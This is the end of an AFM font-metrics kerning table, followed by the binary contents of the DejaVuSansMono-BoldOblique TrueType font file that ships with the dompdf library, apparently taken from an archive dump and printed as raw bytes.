KPX Hbar F -253
KPX Hbar H -253
KPX Hbar R -253
KPX Hbar U -159
KPX Hbar V -243
KPX Hbar X -206
KPX Hbar Z -167
KPX Hbar backslash -178
KPX Hbar cent -215
KPX Hbar sterling -215
KPX Hbar currency -215
KPX Hbar yen -215
KPX Hbar brokenbar -215
KPX Hbar section -215
KPX Hbar dieresis -253
KPX Hbar copyright -253
KPX Hbar ordfeminine -253
KPX Hbar guillemotleft -253
KPX Hbar logicalnot -253
KPX Hbar sfthyphen -253
KPX Hbar acute -253
KPX Hbar mu -253
KPX Hbar paragraph -253
KPX Hbar periodcentered -253
KPX Hbar cedilla -253
KPX Hbar ordmasculine -253
KPX Hbar guillemotright -206
KPX Hbar onequarter -206
KPX Hbar onehalf -206
KPX Hbar threequarters -206
KPX Hbar questiondown -178
KPX Hbar Aacute -178
KPX Hbar Eacute -253
KPX Hbar Idieresis -253
KPX Hbar Yacute -253
KPX Hbar ebreve -253
KPX Hbar edotaccent -159
KPX Hbar ecaron -159
KPX Hbar gdotaccent -243
KPX Hbar gcommaaccent -243
KPX Hbar dotlessi -206

KPX lacute dollar -159
KPX lacute ampersand -36
KPX lacute two -36
KPX lacute D -188
KPX lacute H -225
KPX lacute L -36
KPX lacute R -225
KPX lacute X -188
KPX lacute cent -188
KPX lacute sterling -188
KPX lacute currency -188
KPX lacute yen -188
KPX lacute brokenbar -188
KPX lacute section -188
KPX lacute dieresis -188
KPX lacute ordfeminine -225
KPX lacute guillemotleft -225
KPX lacute logicalnot -225
KPX lacute sfthyphen -225
KPX lacute acute -225
KPX lacute mu -225
KPX lacute paragraph -225
KPX lacute periodcentered -225
KPX lacute cedilla -225
KPX lacute ordmasculine -225
KPX lacute guillemotright -188
KPX lacute onequarter -188
KPX lacute onehalf -188
KPX lacute threequarters -188
KPX lacute Egrave -36
KPX lacute Icircumflex -36
KPX lacute Yacute -225
KPX lacute Ebreve -36
KPX lacute ebreve -225
KPX lacute dotlessi -188


KPX uni027D dollar -243
KPX uni027D nine 75
KPX uni027D less 47
KPX uni027D lacute 47
EndKernPairs
EndKernData
EndFontMetrics
vendor/dompdf/dompdf/lib/fonts/DejaVuSansMono-BoldOblique.ttf000066600000757214151150442770020266 0ustar00 FFTMs���,GDEF1�&�HDGPOSt����GSUB>��d`OS/2����Vcmap�e4U�cvt �>���8fpgm�Q��0�gasp�glyf`ٸ3���head	���6hhea
���$hmtx���m6loca��+L*`maxp
�BU� name��U�!�postѥ�(wlc�prepԱ�����=����)��)<jkklmn{|
u
v
w
x
�
N\DFLTcyrl$lao .latn:��������mark���ntz����������������������
"(.4:@FLRX^djpv|��������cI�gM�aH�+�u�^D�,�v�dJ�dJ�`F�-�w�aG�bH�cI�;oQQ ;obI�;ofM�<paG�aG�dJ�QQ `G�aG�W=�Nhkkn{>DJPV\bhntz�����`��|���|����������������
��DFLTcyrl&lao 8latnB��SRB 
����FCAT PESP PGAL PISM XKSM XLSM XMOL bNSM XROM bSKS XSSM X��������casedlig locl&locl,
" $(@	�n
wO
vLI
�
�
�c�
I��3�63��E�f	��Ry� PfEd! ����m�`���,
��,
����~�����!AEM��������?CXaw�����_cs��������V_��?���������������	.<[ex{���-Mcy��������������EMWY[]}������� 
 # & 7 : ? I K _ q � � � � �!!!!!!!"!$!&!+!.!H!Q!_!�""" "#"-"="i"�"�"�"�"�"�"�"�####!#(#+#z#}#�#�#�#�#�$#&&<&G&g&o'�'�'�'�'�'�)�)�)�)�**/*k+
+,d,p,w,z,...%..���'�������������� ������!$CLP�������CXatz������br��������1Ya�?���������������,0>bw{���0Th|������������� HPY[]_�������   & / 9 < E K _ p t � � � �!!!
!!!!"!$!&!*!.!H!P!S!�!�"""#"'"4"A"m"�"�"�"�"�"�"�#####%#+#5#}#�#�#�#�#�$#%&8&?&`&i'�'�'�'�'�'�)�)�)�)�**/*j++,d,m,u,y,|..."..���"�������������������������������������������������������o�g�U�S�O�N�M�L�K�=�;�-����������������������������������������������������~�m�k�b�M�L���������������������������������������������������������q�o�n�k�i�g�#�!������
��	����������������������~�y�i�h�f�d�a�_�V�T�R�N�E�@�!���������N�L�7�4�/�&���7�)�%�߽�$� �����������1�+�)�!cHcDcBb�b�b�b{�u
	�� ~��b��������������!!�$A�CE�LM�P����^��e��i��q��z������?�CC�XX�aa�tw�z����������������_-bc�rs���������������������������1V�Y_a�$��K??M��N��P��Q��S��T��U��Y��`��c��d��e��g��t��v��|�	����,.�0<�>[�be�wx�{{���������- 0M6TcThyd|�v����������������������������������������� E�HMPW
YY[[]]_}��4��i��x������������  
�  #� & &� / 7� 9 :� < ?� E I� K K� _ _� p q� t �� � �� � � � �! � �$!!%!!&!
!'!!*!!-!!/!"!"0!$!$1!&!&2!*!+3!.!.5!H!H6!P!Q7!S!_9!�!�F!�"G""�"" �"#"#�"'"-�"4"=�"A"i�"m"�"�"�0"�"�I"�"�M"�"�N"�"�S"�"�X"�"�h##i##p##~##!�#%#(�#+#+�#5#z�#}#}�#�#��#�#��#�#��#�#��#�#��$#$#�%&�&8&<	�&?&G	�&`&g
&i&o
	'�'�
'�'�
'�'�
'�'�
'�'�
'�'�
)�)�
)�)�
 )�)�
")�)�
#**
%*/*/
&*j*k
'++

)++
2,d,d
;,m,p
<,u,w
@,y,z
C,|,
E..
I..
J.".%
K....
O��
P��
_�"�'
d����
j����
p����
r����
s����
u��
v����
x�Z�Z
}
	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a���������������������������������rdei�x�pk0vj���sgw����l|����cn�T��m}�b����������	��:��
v
w�y�������������������ewqstuzxvf#3#��N#'#�\#�#3#�#/������������%��%1�/;�����s����������q��o�V�#��d\�H�```{����\{��`������o�7�L��'5�����%��={����D=!��/��s�, �%Id�@QX �Y!-,�%Id�@QX �Y!-,  �P�
y ���PXY��%�%#� �P�
y ���PXY��%�-,KPX ��EDY!-,�%E`D-,KSX�%�%EDY!!-,ED-��h��h�@��7/���1����0!%!!h�s����r)R�	]@.				49			
����99991/���0KSX����9Y"!!!#�
7��#
f�!���q��e����@9����1�<�20!!!�����+��+����N@3	

	 
 ��91/<�2�<<�22�<<�220#3333#3#####73#73��J�^�^�^�6�H�6�^�_�^�_�5�H�5�^q��r��v������u��u�%�v'��D
/m@;)%%$(<<!/ ,!,/()%$,0�����99999991/<��2�����2��990>54&#.'.54$?3.'�;Rb9�5HS4�9U�a3Y�WD����0�/G�L2<�Q@�������_D4>2	ZD*9��-.,=BZ(�|�����',��.����!��'3V@-(	(??	?>.?%1"+1""4��������99991/������999904632#"&"32654&	4632#"&"32654&!��������?9PP9:OP��)��˹�������=8ON9:QRX�������O::OO:9P�P�`�^��������P::OP99Q�����&0�@O$%$&%%$()'/.040'$ %	-<;C<BE%%!&!0$ 	' !*1������99999991/����99990KSX�9�9��9Y"%#"&547.54$32.#">73!3267�V�W��ź�F�A16�BX^&(�*0�xls���Z^^,Z.H23հ�i:d/���#&GB"tW� :�]��[��4�\c������9��1��0!���+R��7
@
G


��9991��0
#&57��89�RP����ۏ�ͦ�J�"F!q��V
@G


���9991��04'3q��89�QQ������8[%�3����������y9T�J@(
	
B
		
�<�2�<�2991��<�2��2990
%#'-73%T��JL�����LL��LK�L�������X������X���B\��#@	H
�<�<�1�<�<�0!!#!5!���R�P���R�P������o4@4I���1��0KSX��9Y"!#�:6��׬o���������991��0!!+u8����\�o/@4I���91/�0KSX��Y"!!�NF��o���B3�@	49/�991��0KSXY"3#T����mZ��w�/�@	J$J-B$E0'0������1������0@�//////////	/
/??????????	?
?D@@@@@E	UPPPPPU	ookkkkk	k
o�������	�
�����������	�
C//////////	/
/���������������	�
�]]4632#"&3267654&#"#"&547>32�I45JJ54IjDG@k$6ABGCj$6A�fUI��eSJ���5HI43IG�qljc�\rkhe�����I�����������+��
O@(4JJ9J		

����991/�2����0KSX��Y"!%!!!^J���3F�53�b�L
J�/����o�c@24LKJBJ	���9999991/�����9990KSX�9�Y"!!7%6754&#">32bi3�K13^�pcR�v3m�e��:(����.Rb�HQ;:(*����{"���`�(M@,M LK#ML
K	MBE) )
&

)�����9991���������90#32654&#">32!"&'32654&�4�|�sjS�n6h�X���������f�z6`�l����oUFL*(  Ÿ��$����&$.0��Rc`�
o@<


	
		4J9	
	���991/��<�290KSX������Y"	!!3#!!�u�5��1�>��?��:�����j���B���j@84JLKJ
J9
E


���9991��������90KSX��9Y"!!>32!"&'32654&#"T+3��5!H)����_�_3F�_�ǎzN�O����
�����  
(*��hy(&`����'8@M	M
LKM%BE(


(����91��������904&#"326.#">32#"&5476$32#[Mi�[Kl�n3<�H��/<�Y������ymb�C�-XgȓXj���,.��AB������������m��3@4J9���991/��0KSX��Y"!!!�)���������?��q�#/N@$M'	M-MBE'0$*$*!0��������991������990�)*+]4&#"326.5432#"&54632654&#"
k[p�o[m���hk'յᲖmz�������[Ge�\S\}�Xg�vVh���n�Ɵ���{��Ǵ��7I]x]OY|7��h�'4@M
LKM
%MBE("


(����91�������9073267#"&532#"&32654&#"73=�H��0=�X��2���yla��C�%YMh�[Kl�,.��AB��W���c����XeȒXk�1L'O@)4INI����91/��0KSX����Y"!!!!�NH��?NF��'���������L'	F@"4IIN
	
�����991���0KSX��9Y"!#!!wN6��ט�NH��o����Xmy�@
��291��90	5y����!�������X'y�@HH
�<�21����0!!!!X!��!�����Xmy�@
�<�91��9055X!�����`�a�#u�!�@K !4
!	
;<B!		
"�����9991/�����99990KSX���9�Y"!!!7>?654&#">32Z
7��X��X]k�JEY�t5f�h��bui~����`�N]~C9>IH7:��_�bVi����s?a@4-0)?OOP,)O0P O09@?<
,-	<&<3@�����999991��������999902654&#"#7#"&5432>54&#"3267# 476$32�h�QGg�P��+r<����Hh		|i|�X[`��O�Q?k�_��XTtP���-��MX��S]�R15���31/#B[kv{�؛��00�95~D�<���ͨ@$���
n@:	




4<Q9			
��91/<��90KSX��������Y"	!!!!!���hq���p�����q�+q������#�@I###
#	#4T
	T9T
S"
	"#$������9991/�����90KSX�9�9�9�9Y"�]�
]32654&#32654&#%!2#!�VŜ�joTD�y{VZ�K��׾���LEK����F��VRF��mjD@릤����l�?C<�����J@UCVUCVBE  ���9991�������0K�
TX� @  ��878Y%#"476$32.#"3267�M�U�ya�R�M@2�XP�6EU~vQ�^+$$���nr$$��DEaUk�Ӈ��CI����]@+
	4V9V
����9991/���0KSX�9�9Y"�	]�]3267654&#! #!�`p�+4A}���;%hH^�����?XXj%~��
��W�q��E\P��U@/
	4VV9
VS
		���91/�����0KSX����Y")!!!!!��_ �3��??1��L{�������y/��	P@+4VV9S		
���91/����0KSX����Y"!!!!!���>B3����#������u�f����&x@3#&& !"&4"##V%VUCVBE'%$#"&'����991��������990KSX�9�Y"K�
TX�'@''��878Y%#"476$32.#"3267#7!�F�s�xb�Q�MB3�QG�4)E "�t$?9�1�^;@"���os$$��CF;9/~Mb�N��#������@?
	4VS9

	����91/<�2��0KSX��������Y"�P]@PPPPP]!!!!!!'oqn'��ف�������9�+��h��J@&


4V9	V	

����991/�2��20KSX��Y"!!!!!
3y3�׼)4��3)�����3��������R@+4UCVV
9E
	��991�����990KSX�9�Y"'3267!!#"&AN�gtq���4��!RCC�qo�NX`_l���
��7785��X�w@B	
		49

���91/<�290KSX��������Y"!!	!!'l3\��R���_����-�������P!�6@4V9���91/��0KSX��Y"3!!P#'�w3�/����
��@I

	
	
4
9
	
����991/<�290KSX��������Y"K�
TK�T[X�
@

��878Y@>	
/////
	
'//)/;8]]!!###�a1)h�����/��q��+��q��R����	�@:			49
	
����9991/<�2990KSX������Y"�(]@*5(*'%300005QWPPWPWPW]]!!!!
/����������=�+=��=����)P@V'VB'E*!*����1����0@+0044553300000000 0!0"0#0$0%]4&#"3267>7>47>32#"&dPQ;d$+PQ;c%-��dUM����bTN�����xxGE'�\s�KxvGE,�Ss� ��������c������k@;					4TT	9
	
	����9991/����0KSX�9��9�9Y"32654&#%!2+!)T���h}����I:N蹤m���J��[M���r�B[Q��=����-|@%VV
BE."
"
".����99991�����990@A00000
00000000005553$3%3&0'0(0)0*0+0,0- ]#"&547>324&#"3267>7>��cTN����aU#iI�ӛPQ;d$+PQ;c%-����������]�Bn/��xxGE'�\s�KxvGE,�Ss����@Q
	




4T
T9
	
����999991/<����9990KSX���9�9��9Y"�(]�(]!&'&+!!232654&#=D���j5ius��#����ZP{��\\�	HW��x
���կ����i�|NM����'�@;'''4
'
UC!V
U	C
VBE('$
	$(����99991�������990KSX�9�9Y"�	
]@
	
(]]@()	(
(9	9
9I	I
IY	Y
Yh	h
hy	y
y(
]].54!2.#"!"&'32654&'��|Cg�[9D�ov��t������n�|;a�k��FE�P�~�))��>?qXTS3A����451QUud>[��}@4V9����991/��20KSX��Y"K�
TK�T[K�T[K�T[K�T[K�T[X�@��878Y@	��])!!!j���1#3�����-����s@=
	4

VE9
����9991�2��99990KSX��9�9�Y"!3267!#"&546D�'�\Tl��'�#P?L�}��'��/RZz|��R��?JNƷ*d�-�F@#49��91/�290KSX����Y"%!!!�-�{�dA#��+�)Z��@A



	

	4
9
	
��91/<�290KSX��������Y"�]@**5888]33!!!��l�)�3��������;H�+���q?�u@?	


	4	9
��91/<�290KSX��������Y")!	!!/���p��f��#�hA����1��N�`@149	����91/�290KSX������Y"!!!�%��B��s��s�w��w��L��
�	7@4V9V	

��91/���0KSX��Y"!!!7!�1���3��/Z�}��#������?F@!4WWG������991����0KSX��Y"!#3!D�&���%���Z�T�B��.@49���91��0KSX��Y"#����m�j���B@4WWG������991����0KSX��Y"!73#7!d�%��%�����9���@
9��91��290	#	#���������-��-����W/�1��0!5�/�۾�s�`f/���91��0K�	TK�T[X���@878Y#����f��x/��u{	*@O	





4!

]]!<"\]%[E_
(	
!"(+����99999991/��������9990KSX��9�9�9Y"K�TK�
T[K�T[K�T[K�T[K�T[K�T[X�+��++@878Y@23 0!0"3#vv�����	���x���	���
]]"3267%!7#"&54$!37>54&#"7>32���Q?v�7{��C�n��7%�faR�v/q�[��hm?R��m��}MM����19<98�''��'j/����@J
	
4
<<E[G

	 ����999991/�����990KSX��9�9��9�9Y"K�
TK�T[K�T[K�T[X� ��  @878Y%254&#"!!>32#"&Xo�SJr�Z�)��/%w?�_��=7E�uo���ep���hw���`c۽���i��}����{W@
`<K<K	[E
���9991��������0K�
TK�T[K�T[X���@878Y%#"$5!2.#"3267�M�S�o(b�L5=�N��z|F�[%!!��=�)+��:8�ƀ~44B����@J
	
4<<E[
G
	 ����999991/�����990KSX�9���9�9�9Y"K�TK�
T[K�T[K�T[X� ��  @878Y"3254&7!!7#"&547>32yo�SIr�Z�}%���B�_��>8E�up�����ep�hw���`cܾ�k��L���}&w@#`d<Kc#<[E'& '����99991��������0K�TK�
T[X�'��''@878Y@���������� �&]%#"$547>32!3267>54&#"�_�n���XPT��
�	��l�]�fYd�(7**��afm��-vSce>;hUbvv���@=




4ddG	e

	
���99991/�2���2990KSX�9���Y"K�
TX�@��878YK�
TK�T[K�T[X���@878Y!!!!7!7>;#"XX+����ۮ��+*���+�A:�L��Nӓ�7�X�+�@\+++++*+'(&)++4)*`<<K<&[*ef,*)+	+ ,���99991���������99990KSX�9��9�9�9�9Y"K�TK�
T[K�T[X�,��,,@878Y�]%254&#"!"&'326?#"&547>327!s�RHr�P5���b�W6K�W}�6�`��TIF�jh�#%�	�do���fo����	--u|�SUѲ�lgtng�;`�@L

	4	<[G

����99991/<���99990KSX��9�9���9Y"K�TK�
T[K�T[K�T[K�T[K�T[X���@878Y@	
7

]!>54&#"!!>32N��ۅ:7Sty��/#t0�e��	�(�5:=������\g�L7�	
�@5

4
ihded
	�����991/�2���0KSX����Y"K�TK�
T[K�T[K�T[K�T[K�T[X���@878Y!!!7!!!!5D�l+�+m����%C��`����������X��@?
	
4
id
dhef
		���.991������990KSX�9���Y"K�	TX�@��878YK�TK�
T[K�T[K�T[X���@878Y�]%#!73267!7!7!!�!=/;���-�df���+N)��B%+��.;4�k�T��VR�@D	
		4eG

���991/<��90KSX��������Y"K�TX���@878Y!!	!!%��r�9���tR����Z�^�B`�T�
�@/	

4dGd	��999991/��990KSX�9�Y"K�TK�T[K�T[K�T[X���@878Y@	����]3!!"&5467!7!q>N-��ͪ
	��+Vm!-%�p�F,�����{+�@k !
	
	

	$!"!#""!4&$!	
<)[$e"
$,"%	
&!"%
#
%"
,������.999999999991/<<�<�29990KSX����9��9Y"K�TK�
T[K�T[K�T[K�T[X�,��,,@878Y@�???
?????7???????@@@@@@@	@
GOOOOOOOOOO O!O"O#O$O%O&O'O(PPPPPP	P
__________ _!_"_#_$_%_&_'_(�� �!�"�$�%�&�'L]>32#>54&#"#>54&#"#3>32 �L\l��
#"09��	$"/7����)yEEW�@Kpa/aK�1�3=(*Zw�1�*B(*Wz�1`tDKK;`{�@L

	4	<[e

����9991/<���99990KSX��9�9���9Y"K�TK�
T[K�T[K�T[K�T[K�T[X���@878Y@	]!>54&#"!!>32N��ۅ:7Ruy���% 0�e��	�(�5:=����`�\g�LX��y}!@	<<[E����1����04&#"32!2!"&R]U{�aSy��M������mv���jy6B�����p���V�{�@M4<<[Efe   ����999991������990KSX��9�9��9�9Y"K�
TX� @  ��878Y%!!>32#"&7254&#"{{��-%!G�]��>8E�up��o�SJr�Z��
�ba۽���j��|r�ep���hwD�V�}�@N4<<[Efe  ����999991������990KSX�9���9�9�9Y"K�TK�
T[K�T[X� ��  @878Y7!!#"&547>32"3254&V'%���s?�_��>8F�to��o�TJr�Z���P_dܾ�k��}s���dq�hw��{}@5		
	
		4<[	e
		���91/�����990KSX��9�9�Y"K�TX���@878Y.#"!!>32�0vJ��(d���%#>�w>o,/+)���`�`iZ��F{'�@<
	
4
``<K<K%[E("
"(����99991��������90KSX�9�9Y"K�TK�
T[X�(��((@878Y@(-///	/	/	,/.	/	:::JJJYYY
]].#"#"&'32654&/.54$32F2K�]^nI�J�v��h�c3V�]n{=�Xzr�]�=�56F;-7%%�r��##8;KC.4'$�p������@>
	4ded

��9991/��<��2990KSX����9Y"K�
TX�@��878YK�
TK�T[K�T[X���@878Y!!;#"&5467!7!P>+��h<O�+�̫		e��+=�����-%�o�D2�>j���`�@O

	4	<E
e
�����9991/�2��99990KSX��9�9���9Y"K�
TK�T[X�@��878YK�TX���@878Y@	

]!3267!!7#"&546{�#�:6Sqz#��!,�e����T4:?��w���Zi��H��`�@#4e��91/�290KSX����Y"K�
TK�	T[X�@��878YK�TK�
T[K�T[K�T[K�T[K�T[X���@878Y@	
	]	!!����P�`��`��nZ-`�@B


	
	

	4
e
	
��91/<�290KSX��������Y"�]@.&))::KL**-<<<IM[\]]333!!`�!��#��^����`��5��Z��N�����`�@@
	


	4
e
	��91/<�290KSX��������Y"K�
TX�@��878YK�TK�T[K�T[K�T[K�T[K�T[K�T[K�T[X���@878Y@)8HYY]]	!!	!�#�ժ�����-�`���d��R��=���X�`�@A

	





4
	dfe

		��991�2��9990KSX�����9�Y"K�
TX�@��878YK�TK�
T[K�T[K�T[X���@878Y+7326?!!'p�~�-uWd<'�)5y�i�<pJ3�D�1�`	~@4ded	
��91/���0KSX��Y"K�
TX�
@

��878YK�TK�T[K�T[K�T[K�T[K�T[X�
��

@878Y!!!7!%-�=@+�h-��`�`�������0�@f"!# 0/.-,+*	$%&'(#)		4	1 #)*WWWG110-*)&# 	1����9991������99999990KSX�9�9�9�9Y"#"&546?>54&+7326?>!3#"3o%�Ĩ+	`w>%=��)+��${hY& }�_S)	DP��m}88�0=L=�n���V�ѧ�WLE'�.8;3����k��1��0#�����0�@i+,+,,+	

4+1''%,%W'W/W'G1/,1'&%(&01�.���991������999999990KSX�9�9�9�9Y"326?>7.546?>54&+732;#"+{gX' ~�^T)	BQy%�ͤ)_t>%>��)+���U�ͤ�TOG*�06<1�`r#m� :UF�t��ޓX�y++@ll
��1����9990#"'&'.#"5>32326yK�OZqMg3N�JN�S5dJt]F�+�<73
":?�=6
7=R��`	`@0	49e

����99991����0KSX�9���Y"!!!3H��8
���f�#E�+�e��h��N�$R@1`	`J
	KJK[E%
	
""%�����91�2�<���2���2��0.'>7#.547>73N5-n@�@�@3>A7�7��mfP�{7�75r����h5��(/�L.)��"�� �țjSY��"������j������@F4
dLK<BJ

	
������9991/�2�2�����2990KSX���9�Y".#"!!!!3#737$32�5<v>i!P+��?�3�4�@�-�%3�J����))������N��� ��^T/c@8 	*(-'!	)
-0)'!$
*( $0��2���2�9991��2���2�99904&#"3267'#"&''7.5467'7>32;dJIeeIJd�����$P0'T-������)S.'Q�IccIJffq���)S,/Q$������*S)/Q&�����?��@K
4u	u9


	��.�9991/�2�<�2�<�290KSX������Y"!!3!!!!!7!'!73=��=���%��s�$�dV��T�d%�:��%���X�𻗽�J���������@
�<�21����0##������
��
�h�=#�G�@N7829
	%8?/;.2;+;;EB+H785	("
5%(9B
8?"B5("B<H���������9999999991��������9990"&'>54&'.#"#"&'732654/.5467.54632�P&:>#&N:)9>&"J-D�?U^=micUor-+��R�b.J�KV^�dmPzr30�G�7,X&':6&'X(#@��"!D?)HECAzLT�C+e?���!"D?EeDHsK]�2)b?���;H1a@����99991�<�20K�TK�
T[X�@��878Y@////????]]3#%3#Z�1��1�1���}�N1ID@%

q
po>qpo2n>n&JD
  8 ,/���2��1����������0.#"3267#"&546322#"&'.5467>"3267>54&'.P4[0akjb5`*7j2��ʩ7i��ZZ\[[[�~}�[[[\ZZ�~c�IGHHGG�cd�FHHHHH��h__g�����$ZZ[�~}�[[[[[[�}~�[ZZ�GIG�eb�HHIIHH�be�GIG��� *.t@A!'~!~-~++'~}~|B/!
*$-,.+/	$	$	/����99999991����������9990#7#"&546;7>54&#"7>32"3267!!X�.{Ok�ЇIF9�S!P�A����zu:,Up���#�P��@X65zh��#(*(&�i^ E�HK,:�x��N�N#
1@	
	//���991�<�299077N-���-�v\/���-�w#�������������Xjy�@H
���1���0!#!X!�����,�������991��0!!+u8����}�N 4L\@3-*+'0!o5n2+oAnM*',$0-!1"3+"$ G3 ;/�������29991���<�����99902#"&'.5467>#32654&'2#'.'##%"3267>54&'.h�ZZ\[[[�~}�[[[\ZZ�b@@998(��NG&7O�?9)�c�IGHHGH�cc�GHHHHH�NZZ[�~}�[[[[[[�}~�[ZZ�b�((+)oXZAU81��:/�q�GIG�eb�JGHHGJ�be�GIG�XB1���991��0K�
TK�
T[X�@��878Y!!�w%���V��@mmB����1����02#"&546"32654&hCz//12.0zD����HdbHHdc�30/xDBz./3�����dHHbcGHdXy*@H	H

�<�2�<�21/��<�<�0!!#!5!!!���f�f��f!�����b�b�����L@&��4������3���9999991������90KSX��Y"!!76754&#"7>32��h3[�HC?�ML�I���fD-��%A[-1$#�lc���/��(K@+� ��#��
�	���) 
&33)�����9991���������90#732654&#"7>32#"&'732654&omX^PF0�PI�B��ypSc��K�E>�O`oW�73(.�fYZo	cJ���QF-59��f-���1��0K�TK�	T[X���@878Y!#wA�F�f����T{`&�@V

	&#$"%	4%	<"Ef
e'&'%
'���991�2��<�2990KSX��9�9��9�Y"!3267!3267#"&'#"&'7-!�D=Rf�!�+.P$HL5{F:La�T�X0?Fps���#!
�KSOO0/�f�;��
`@-	
49����<��9991�2��90KSX����9Y"!###.54����-��վ���E�f��N���'�-/@4I���91��0KSX��Y"!!�NH��������o|�!���
S@+334�	�	���	
���991������20KSX��Y"3?33!;�j����o-+�)�N���+�4@~~	}~B����99991�����0432#"&4&#"326!!3����%D=WxE<Wx���!�P������JLT��KU��8�R�T#
1@


/
/���991�<�2990	7%'%7%'���-B�����-A�#�w��v����w��v������w{'���V'{���
������{'{���&
�t��V��/��w�'���V'u��
�Z�p�`!�@L !!!4< <f e" 		!	"�����9991�������99990KSX���9�Y"!3267#"&546?67%!!R
Y^i�JEY�t4e�h��bui~:��6Ϛ_�P]
zA9>IH��7:��_�bVi������k&$
�3u����wk&$
�3u����rk&$
�3u�����m&$
�3u����nk&$
3u��m!�@J


 
!

 !4< 	= Q
 "!

"������99991/<�����9990KSX��������Y"32654&#"!!!.54632!oM66MN56MEk���u����$*�vt�/��P6MM66MM���q���$j5u��u;l��j��@L


4V<V9VQS
	

	��91/<�����2��0KSX��������Y"!!!!!!!33��<3��N64��H��������}������n��j������{����o��&&�u���k&(
�Xu���k&(
�Xu���k&(
�Xu���k&(
Xu���k&,
�/u���k&,
�/u���k&,
�/u���k&,
/u����"}@F!" 4<V9V
#"
#�����99991/�2����20KSX�9���9Y"! #!#733#3267654&#;%hH^������/�f?�-�N`p�+4A}���W�q��E\P��F���rXXj%~�������m&1
�3u��=���k&2
�3u��=���k&2
�3u��=���k&2
�3u��=���m&2
�3u��=���k&2
3uw�Xs0@
	
	
�<�291�<�290		'	7	X��J������J���GJ�����H���JH���H�s��L'.l@8+'/.(+%&"V"+VB"E/
.(%
'&
&/�����99999991������9999999032.547>327#"&''.#"wM8}�4��	bUN��i�=���

L5N��r�9���K4y�6b<=2^��"J'�����BA�s�8a,>�O��b��JH�rN47�����-���k&8
�9u��-���k&8
�9u��-���k&8
�9u��-���k&8
9u���Nk&<
�/u���@L

4TT9	����9991/�����0KSX��9�9��9�9Y"!!32#32654&#w@��#'/�I:N�V���g|L���㸯q�B\R��J��[M���3@e	)*+*&'%(++*4("!%3.+%`<
%<.G
E))*31!
(+*1!

!
1*4�������99999999991/�����99990KSX�9��9�9Y"K�TK�T[K�T[K�T[K�
T[X�4��44@878Y@lllllllllll]#"&'732654/.546754&#"!6$32y��`L;:���B�@1:k.ZhoE,*��ZR]r���)���#dS9`L;}D��� ODBoG-g;��%@Gfe��f�ݮ�+d��/��uf&DC��/���f&Dv��/��uf&De��/���9&Dw��/��u1&Dj��/��u&Du����{
L3@�.	
.8765493.01/2.43<1!C=("L!`"<`=]]1]"K%c9]=\F@[+%E1_MLI32!"<=.(16C.I..M�������999999991��2�<��2���2����999990KSX�9�9�9�9Y"K�TX�M��MM@878Y@,3;3<3=����/�0�1�2�����L0000;0<0=]]7#"3267>54&#"!3267#"&'#"&546;7>54&#"7>32>32�Jbu:1CP%(,8G��=UF8�A/9�Q^� =�Y���lDA4�V/O�ERt4�T~��NgU3<h�C"3/TXH�15P`94�((UOSQ����:=@32�''F?AD��1�X����o�{&F�H��L���f&HC��L���f&Hv��L���f&He��L���1&Hj��7f&�C����f&�v���7f&�e���71&�j�R���)�@G!"! %&'&$#$''&4)('$#"!%<	<E%G*()"#'%$!)*����9999991�����99990KSX���9�Y".#"32654&!"&532.''%'!%F&R,��dT~�<xv������@�*B7��)3}JC)
ݪex��!<E���������h
?k-{ss�xvp��;h9&Qw��X��yf&
�C��X���f&
�v��X��yf&
�e��X��y9&
�w��X��y1&
�jBV��$@H
	�<��<�1������0!!!!!!�5��5��uK��������������%t@<"
&%
"
<"<
[E&&
%%
%
&����.�999999991������999999903267.5!27!"&''.#"�?(y��/K
\�B�u�����b�=�us?'y�
��3.j=G�22�y�1m;���q23�wV����j���f&XC��j���f&Xv��j���f&Xe��j���1&Xj�����X�f&\v��V��@M
	
4<<E[
fG 
 	 ����999991������990KSX��9�9��9�9Y"%254&#"!!>32#"&Zo�SJr�Z�{���%uG�]��>8E�up���ep���hw�����ba۽���j��|�����X�1&\j����N&$
���/��u&D������k&
�$��/��uF&�D�����o�'vc$��/�ou{'v D�����k&&
��u�����f&FvV�����k'
��u&������f&eVF������k&
�d&������1&�KF�����4k&&
��u������f&FfV�����k&'
�Iu��B��v'
~w��G�������B��s'�@h'&%

#"$






4
"	<"<E[G%
	
(����999991/������<�2990KSX����9�9��9�9Y"!7!7!3#!7#"&547>32"3254&VB��%/%�%���B�_��>8E�up��o�SIr�Z�T�tt���`cܾ�k��q���ep�hw���N&(
���L���&H�'���k&
�(��L���F&�'H���k&
�(��L���1&�'H���o��'v(��L�o�}'vH���k&(
�mu��L���f&HfB��f���k'
��u*���X�f&eJ��f���k&
�2*���X�F&�J��f���k&
�2*���X�1&�J��f���'��*���X�+'�ZrJ�����k'
�Lu+��;`k'
��-uK��4�!!7!3#!!!#73!7'+q+&+� ��ځ�����׆ �#q#�������hQ����8#!67654&#"!#737!!!>32%��݄	:7St|��� �# ��>0�e���)�,:=�����zz���\g�&���m'
�/u,��;9&w�����N&,
���B&�����k&
�,��`F&����B�o��&,(vi���o>�&Lv}���k&
�,7`	j@"4ded	

���991/�2��0KSX��Y"K�TK�T[K�T[K�T[X�
��

@878Y!!!7!!5D�l+�+m���`���������%3267#!#"&!#3!3{>,lBJO��1��>]wIG��8/9/���0��0��JX`_l���
��n85����3���
�u��"%+73267#7!7#3!!!7!#3#_#6%/z]�0�IR��.�+�G�{��	.�.��q�G�H��.;4�k�T��V��������������k'
��u-�����X f&e������0X�'��(.��R�0'��(NA`!!	!!%J�c�7���wS��`��}�^�B`�T��Psl'
�/v/���rm'
�.wO��P�0!�'��(/���5
&�L-O��P��'
~�n/���!'
~"��O��P��'y��/���l'y?�O��!�
d@8
	
4	V9
	���.9991/��90KSX����Y"3'%!7!P`�s+�'_�s�^\w3�c�������#��%��@J	

4dGd	��99991/��990KSX�9���Y"K�TK�T[K�T[X���@878Y3!!"&5467'!7!%=N-��Ω		5��Z�b��+V^"g�El -%�p�F,Ò��:ˊ�������l'
�Bv1��;�o&v�	Q����0��&�C(1��;�0`{&�j(Q�����k&1
�u��;�f&Qf���S�'_��Q����V��6&#"!!>32+73267�IjmIM���#'/>�~��8�4qq�y,%dg��oKN��4�������nl�n�f�X�{#+732767654'&#"!!>32v�1po�y,'d43|NOv|���# 1�j�<$�T�kl�77�=+,5�~�`�]fi?eC��=���N&2
���X��y&R���=���k&
�2��X��yF&�R��=��Ck&
�2��X���f&�RH�c@84V
V9VS

